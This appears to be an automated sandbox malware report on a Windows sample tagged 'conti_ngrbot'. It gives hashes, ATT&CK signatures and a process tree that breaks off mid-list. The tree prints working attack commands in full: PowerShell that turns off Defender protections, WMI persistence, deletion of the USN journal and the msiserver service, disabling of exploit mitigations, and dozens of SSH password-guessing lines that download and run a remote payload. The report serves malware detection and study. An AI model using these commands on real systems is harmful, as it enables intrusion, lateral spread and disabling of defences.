dfa2a1f14e4755c2315d20e14cef49c80b5e75cde7cbc69eb4a6c8ac9d8d7a7e

Analysis

max time kernel
18s
max time network
10s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 00:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Size 514KB
Sample260818-a38csashra
SHA256 dfa2a1f14e4755c2315d20e14cef49c80b5e75cde7cbc69eb4a6c8ac9d8d7a7e
MD5 1766bb738e9f2b13eadcdc37b28805c2
SHA1 64e47f8878ad47982995a69f501c949a5ad59a4a
SHA512 100ff6b57e1c229a3ab1cf402e62e4897ce5e2a400ec7302b9bd2860aec5acd08e2cd4bd06bdf1c579f02a56e823b68dc56c8f7932c01b552060e76e8c97514a
SSDEEP 12288:28NH0kbdBH0lOLlVlrNg70GsSusj6/agCFX:xH/BHxLU
TLSH
T162B4FA5A775A65F5C33B8430C5EB57359A20F4862138BD6103C8F229ED209398FB6EED
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3520	powershell.exe
3520	powershell.exe
20380	powershell.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
7900	cmd.exe
27616	cmd.exe
1312	cmd.exe
628	cmd.exe
704	cmd.exe
2076	cmd.exe
944	cmd.exe
5024	cmd.exe
4296	cmd.exe
5700	cmd.exe
1384	cmd.exe
4600	cmd.exe
5540	cmd.exe
2020	cmd.exe
7916	cmd.exe
2724	cmd.exe
5524	cmd.exe
3008	cmd.exe
3292	cmd.exe
4940	cmd.exe
2588	cmd.exe
5968	cmd.exe
5596	cmd.exe
5180	cmd.exe
3340	cmd.exe
556	cmd.exe
4556	cmd.exe
6140	cmd.exe
5820	cmd.exe
3396	cmd.exe
5128	cmd.exe
2236	cmd.exe
27632	cmd.exe
3672	cmd.exe
3676	cmd.exe
2764	cmd.exe
2968	cmd.exe
924	cmd.exe
552	cmd.exe
1948	cmd.exe
5092	cmd.exe
4644	cmd.exe
1364	cmd.exe
3276	cmd.exe
2144	cmd.exe
5616	cmd.exe
1136	cmd.exe
2624	cmd.exe
1752	cmd.exe
27624	cmd.exe
5592	cmd.exe
5020	cmd.exe
952	cmd.exe
2464	cmd.exe
3136	cmd.exe
2784	cmd.exe
5920	cmd.exe
1884	cmd.exe
5600	cmd.exe
5656	cmd.exe
3764	cmd.exe
2104	cmd.exe
3416	cmd.exe
2068	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3520	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeTakeOwnershipPrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeBackupPrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeRestorePrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeSecurityPrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeShutdownPrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeLoadDriverPrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeSystemEnvironmentPrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeManageVolumePrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeTcbPrivilege	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
Token: SeDebugPrivilege	3520	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 3520	4100	2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe	90

C:\Users\Admin\AppData\Local\Temp\2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe'; Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableIOAVProtection $true
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3520
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -Command "$f=[WMICLASS]'root\subscription:__EventFilter';$f2=$f.CreateInstance();$f2.Name='NvFilter_àð¿5¨';$f2.Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ''Win32_PerfFormattedData_PerfOS_System''';$f2.QueryLanguage='WQL';$f2.Put()|Out-Null;$c=[WMICLASS]'root\subscription:CommandLineEventConsumer';$c2=$c.CreateInstance();$c2.Name='NvConsumer_';$c2.CommandLineTemplate='cmd /c start /min "C:\Users\Admin\AppData\Local\Temp\2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe"';$c2.Put()|Out-Null;$b=[WMICLASS]'root\subscription:__FilterToConsumerBinding';$b2=$b.CreateInstance();$b2.Filter=$f2;$b2.Consumer=$c2;$b2.Put()|Out-Null" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$f=[WMICLASS]'root\subscription:__EventFilter';$f2=$f.CreateInstance();$f2.Name='NvFilter_àð¿5¨';$f2.Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ''Win32_PerfFormattedData_PerfOS_System''';$f2.QueryLanguage='WQL';$f2.Put()|Out-Null;$c=[WMICLASS]'root\subscription:CommandLineEventConsumer';$c2=$c.CreateInstance();$c2.Name='NvConsumer_';$c2.CommandLineTemplate='cmd /c start /min "C:\Users\Admin\AppData\Local\Temp\2026-08-17_1766bb738e9f2b13eadcdc37b28805c2_conti_ngrbot.exe"';$c2.Put()|Out-Null;$b=[WMICLASS]'root\subscription:__FilterToConsumerBinding';$b2=$b.CreateInstance();$b2.Filter=$f2;$b2.Consumer=$c2;$b2.Put()|Out-Null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:20380
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c sc stop msiserver 2>nul & sc config msiserver start= disabled 2>nul & sc delete msiserver 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3276
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -Command "Set-CimInstance -Query 'Select * from Win32_PageFileSetting' -Property @{Name=''}" 2>nul
  2⤵
  PID:1844
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c fsutil usn deletejournal /D C: 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5592
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c reg delete HKCU\Console /f 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:628
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell -Command "Get-ProcessMitigation -System | Set-ProcessMitigation -Disable DEP,ASLR,CFG,SEHOP,HighEntropy,ForceRelocate,BottomUp" 2>nul
  2⤵
  PID:5076
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:552
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5596
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2068
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6140
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1752
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2624
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5800
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2784
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3136
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4360
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5640
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5968
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4296
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3292
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4644
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5024
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2236
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5624
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2588
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:556
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3340
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5128
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2764
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3416
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3676
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5180
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1312
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5600
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1364
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5540
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3200
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1296
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1136
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2464
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5660
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:952
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4820
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4248
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3008
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4600
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5524
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1884
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3396
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:944
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4732
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1496
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4552
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1384
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2104
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3496
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3764
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5092
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5920
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4072
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4940
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3688
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5020
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5616
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1948
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2144
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5620
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5700
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2076
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5632
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2952
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2724
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5656
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:704
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:924
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5820
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2968
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2020
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:7900
- C:\Windows\SYSTEM32\cmd.exe
